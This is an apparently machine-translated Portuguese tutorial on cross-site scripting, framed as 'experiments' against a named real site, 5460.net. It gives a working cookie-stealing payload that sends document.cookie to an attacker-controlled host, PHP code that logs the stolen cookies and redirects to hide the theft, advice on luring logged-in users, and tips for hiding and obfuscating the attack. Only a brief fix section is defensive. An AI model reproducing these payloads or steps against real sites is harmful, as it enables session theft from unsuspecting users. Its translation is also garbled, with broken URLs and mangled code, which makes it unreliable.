Este artigo apresenta principalmente as causas das vulnerabilidades de execução de scripts cruzadas. Como não há muita informação sobre as vulnerabilidades de execução de scripts cruzadas, geralmente não há introdução detalhada na Internet. Espero que este artigo possa introduzir esses conhecimentos com mais detalhes. A seguir, são apresentadas as causas das vulnerabilidades de execução de scripts cruzadas compiladas pelo editor do novo canal de tecnologia. Vamos para o seguinte para saber mais!
Causas de vulnerabilidades de execução de scripts entre sites [causas de vulnerabilidades]
O motivo é muito simples, porque o programa CGI não filtra ou converte o código HTML nas variáveis enviadas pelo usuário.
【Formulário de vulnerabilidade】
A forma mencionada aqui realmente se refere à forma de entrada CGI, que é dividida principalmente em dois tipos:
1. Mostre entrada
2. Entrada implícita
A entrada de exibição exige claramente que o usuário insira dados, enquanto a entrada implícita não exige que o usuário insira dados, mas o usuário pode interferir na entrada de dados.
A entrada de exibição pode ser dividida em dois tipos:
1. A entrada é concluída e o resultado é emitido imediatamente
2. A entrada é concluída e armazenada em um arquivo de texto ou banco de dados e, em seguida, o resultado é emitido.
Nota: o último pode tornar seu site irreconhecível! :(
Além de algumas situações normais, a entrada implícita também pode ser implementada usando o servidor ou o programa CGI para lidar com informações de erro.
【Riscos de brechas】
O que todos estão mais preocupados é provavelmente esse problema. A lista a seguir pode não ser abrangente ou sistemática, mas acho que deve ser mais típica.
1. Obtenha dados confidenciais em outros cookies do usuário
2. Informações específicas da página do bloco
3. Informações da página forjada
4. Ataque de negação de serviço
5. Rompe em diferentes configurações de segurança de redes externas e internas
6. Combinado com outras vulnerabilidades, modificar as configurações do sistema, visualizar arquivos do sistema, executar comandos do sistema, etc.
7. Outro
De um modo geral, os riscos acima são frequentemente acompanhados pela deformação da página. A chamada vulnerabilidade de execução de scripts cruzados significa que o efeito do ataque é alcançado nos sites de outras pessoas, o que significa que esse tipo de ataque pode ocultar a identidade até certo ponto.
【Método de uso】
Abaixo, demonstraremos os vários riscos acima através de exemplos específicos, que devem ser mais explicativos e mais fáceis de entender. Para uma estrutura mais clara, faremos um experimento para cada risco.
Para fazer bem esses experimentos, precisamos de um software de captura de pacotes. Eu uso a íris. Obviamente, você pode escolher outro software, como o NetXray ou algo assim. Para métodos de uso específicos, consulte a ajuda ou manual relevante.
Além disso, uma coisa a entender é que, desde que o servidor retorne as informações enviadas pelo usuário, pode haver uma vulnerabilidade de execução de scripts cruzados.
Ok, tudo está pronto, vamos começar a experimentar! :)
Experiência 1: Obtenha informações confidenciais nos cookies de outros usuários
Vamos levar o famoso site de gravação de estudantes domésticos 5460.net como exemplo para ilustrar. Siga as etapas abaixo:
1. Digite a página inicial http://www.5460.net/
2. Digite o nome do usuário "<H1>" e envie -o. O servidor retorna as informações que contêm o envio do usuário "<H1>".
3. Analise os dados de captura de pacotes e obtenha a solicitação real:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. Construa uma submissão com o objetivo de poder exibir informações de cookies do usuário:
http://www.5460.net/txl/login/login.pl?username=<Script>alert(document.cookie)</ script> & passwd = & ok.x = 28 & ok.y = 6
5. Se a solicitação acima receber o efeito esperado, podemos tentar a seguinte solicitação:
http://www.5460.net/txl/login/login.pl?username=<Script>window.open("http://www.notfound.org/ info.php? "%2bdocument.cookie) </script> & passwddddddddy.php?
Entre eles, http://www.notfound.org/info.php é um script em um host que você pode controlar. Sua função é obter as informações da sequência de consultas, e o conteúdo é o seguinte:
<? php
$ info = getenv ("query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/n");
fclose ($ fp);
}
Cabeçalho ("Localização: http://www.5460.net");
Nota: "%2b" é a codificação de URL de "+" e apenas "%2b" pode ser usado aqui, porque "+" será processado como um espaço. As frases de cabeçalho a seguir são puramente para aumentar a ocultação.
6. Se o URL acima puder ser executado corretamente, a próxima etapa é induzir os usuários conectados ao 5460.net para acessar o URL e podemos obter informações confidenciais no cookie do usuário.
7. O que você quer fazer mais tarde é com você!
Experiência 2: Página de bloco Informações específicas
Ainda estamos tomando 5460.net como exemplo, aqui está um programa CGI problemático:
http://www.5460.net/txl/liuyan/liuyansql.pl
O programa CGI aceita três variáveis fornecidas pelo usuário, NID, CSID e CNAME, mas não verifica nenhuma variável CNAME enviada pelo usuário. Além disso, o programa CGI assume o valor do CNAME como parte da página de saída. Os usuários do 5460.net devem ficar mais claros que seu nome está no canto inferior direito da mensagem, certo?
Como temos as condições acima, podemos querer tirar as seguintes conclusões:
Um usuário pode "bloquear" todas as mensagens entre suas duas mensagens!
Obviamente, o "bloqueio" de que estamos falando não é "exclusão", e as mensagens do usuário ainda existem, mas devido às características do HTML, não podemos vê -la na página. Obviamente, se você gosta de visualizar o código -fonte, é inútil, mas aqueles de nós que estão estudando a segurança da CGI dizem, quantas pessoas olham para o código -fonte HTML se você tem algo a fazer ou não?
Por várias razões, não anunciarei os detalhes específicos aqui, apenas conheço os princípios.
Nota: Se você pensa sobre isso com cuidado, podemos não apenas bloquear as mensagens, mas também deixar mensagens anonimamente, certo?
Experiência 3: Esquecendo informações da página
Se você entende o experimento acima, não há necessidade de fazer esse experimento. Os princípios básicos são os mesmos, mas é um pouco problemático implementar.
Experiência 4: ataque de negação de serviço
Deve-se saber agora que podemos controlar o comportamento dos servidores com vulnerabilidades de execução de scripts entre sites até certo ponto. Nesse caso, podemos controlar o servidor para executar algumas ações que consomem recursos. Por exemplo, a execução de scripts JavaScript que contêm loops mortos ou abrem janelas infinitas, etc. Dessa forma, o sistema de usuário que acessa a URL pode desacelerar ou até travar. Da mesma forma, também podemos incorporar alguns scripts para solicitar ao servidor que solicite recursos em outros servidores. Se os recursos acessados consumirem mais recursos e houver mais visitantes, o servidor acessado também poderá ser negado o serviço e acredita que o ataque de negação de serviço é iniciado pelo servidor acessando -o, para que a identidade possa ser oculta.
Experiência 5: rompe com diferentes configurações de segurança de redes externas e internas
Isso deve ser fácil de entender. De um modo geral, nossos navegadores definem diferentes níveis de segurança para diferentes regiões. Por exemplo, para a área da Internet, você não pode permitir a execução de JavaScript, mas na área da intranet, você pode permitir a execução de JavaScript. De um modo geral, o nível de segurança do primeiro é maior que o deste último. Dessa forma, em geral, outros não podem atacá-lo executando scripts maliciosos de JavaScript, mas se houver uma vulnerabilidade de execução de scripts no servidor na mesma intranet que você, o invasor tem a chance de aproveitar-o porque o servidor está localizado na área intranet.
Experiência 6: Combinado com outras vulnerabilidades, modificar as configurações do sistema, visualizar arquivos do sistema, executar comandos do sistema, etc.
Como existem muitas vulnerabilidades relacionadas ao navegador, existem muitas vulnerabilidades que podem ser combinadas com vulnerabilidades de execução de scripts cruzadas. Eu acho que todos deveriam ser muito claros sobre esses problemas. A vulnerabilidade de modificar os títulos do IE algumas vezes, a vulnerabilidade de comandos de execução do tipo MIME errados e uma variedade de vermes são todos bons exemplos.
Para mais exemplos, consulte o seguinte link:
Internet Explorer Pop-up Objeto Tag Bug
http://archives.neo eMPRACH/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Pop -up de negação local de vulnerabilidade de serviço
http://archives.neo e talvez.com/archives/bugtraq/2002-01/0058.html
Msie6 pode ler arquivos locais
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE pode baixar e executar progams automaticamente
http://archives.neo eMPA.com/archives/bugtraq/2001-12/0143.html
Extensões de arquivo falsificáveis na caixa de diálogo MSIE Download
http://archives.neo e talvez.com/archives/bugtraq/2001-11/0203.html
O outro bug de biscoito do IE (MS01-055)
http://archives.neo e talvez.com/archives/bugtraq/2001-11/0106.html
Boletim de Segurança da Microsoft MS01-055
http://archives.neo e talvez.com/archives/bugtraq/2001-11/0048.html
Falha de segurança séria no Microsoft Internet Explorer - Folação de zona
http://archives.neo eMPA.com/archives/bugtraq/2001-10/0075.html
O cabeçalho MIME incorreto pode fazer com que o IE execute o anexo de e-mail
http://www.kriptopolis.com/cua/eml.html
O papel da vulnerabilidade de execução de scripts entre sites aqui é ocultar a identidade do verdadeiro invasor.
Experiência 7: outros
De fato, esse tipo de problema tem pouco a ver com vulnerabilidades de execução de scripts entre sites, mas ainda é necessário mencioná-lo aqui. A essência do problema é que o programa CGI não filtra os dados enviados do usuário e executa o processamento de saída. Por exemplo, um programa CGI em um servidor que suporta dados submitidos pelo SSI produz o usuário, o que pode levar à execução de instruções SSI, independentemente do método de inserção dos dados. Obviamente, isso é executado no lado do servidor, não no lado do cliente. De fato, idiomas CGI como ASP, PHP e PERL podem causar esse problema.
【Técnicas ocultas】
Por uma questão de tempo, falarei principalmente sobre a teoria aqui. Eu acredito que não é difícil de entender. Se houver realmente um problema, vá para este livro para lê -lo.
1. Codificação de URL
Comparar:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3c%68%31%3e&passwd=&ok.x=28&ok.y=6
Qual você acha que está mais escondido? !
2. Esconda -se sob outros objetos
É melhor decidir ocultar o link abaixo do botão do que dar a alguém um link diretamente?
3. Incorporar na página
É muito mais fácil permitir que outras pessoas acessem um endereço (observe que o endereço aqui é diferente do URL mencionado acima) do que permitir que outros pressionem um botão? Com a ajuda do Iframe, você pode tornar esse ataque mais oculto.
4. Uso racional de eventos
O uso racional de eventos pode ser ignorado em alguns casos As restrições de entrada dos programas CGI, como a vulnerabilidade de execução de scripts entre sites do SecurityFocus há alguns dias.
【Precauções】
De um modo geral, não há problema em realizar ataques diretamente como <cript> alert (document.cookie) </sCript>, mas às vezes os programas CGI processam a entrada do usuário, como incluir '' ou ''. Neste momento, precisamos usar alguns truques para ignorar essas restrições.
Se você estiver familiarizado com a linguagem HTML, ignorar essas restrições não deve ser um problema.
【Solução】
Para evitar ser atacado por vulnerabilidades de execução de scripts cruzadas, programadores e usuários precisam trabalhar juntos:
programador:
1. Filtrar ou converter código HTML em dados submitidos pelo usuário
2. Limite a duração dos dados enviados pelos usuários
usuário:
1. Não acesse facilmente os links que outros dão a você
2. Desative os navegadores da execução do JavaScript e ActiveX Code
Anexo: A localização das configurações de modificação do navegador comum é:
Internet Explorer:
Ferramentas -> Opções da Internet -> Segurança -> Internet -> Níveis personalizados
Ferramentas -> Opções da Internet -> Segurança -> Intranet -> Níveis personalizados
Ópera:
Arquivo -> Parâmetros rápidos -> Permitir Java
Arquivo -> Parâmetros rápidos -> Permitir que os plugins usem
Arquivo -> Parâmetros rápidos -> Permitir JavaScript
【PERGUNTAS FREQUENTES】
P: Onde existe a vulnerabilidade de execução de scripts cruzados?
R: Desde que seja um programa CGI e, desde que o usuário possa inserir, pode haver uma vulnerabilidade de execução de scripts cruzados.
P: As vulnerabilidades de execução de scripts cruzadas podem apenas roubar os cookies de outras pessoas?
A: Claro que não! Todo o código HTML pode ser feito, as vulnerabilidades de execução de scripts cruzadas podem ser feitas.
O artigo acima é a causa das vulnerabilidades de execução de scripts cruzadas. Eu acredito que todo mundo tem um certo entendimento. Se você quiser saber mais informações técnicas, continue prestando atenção ao novo canal de tecnologia errada!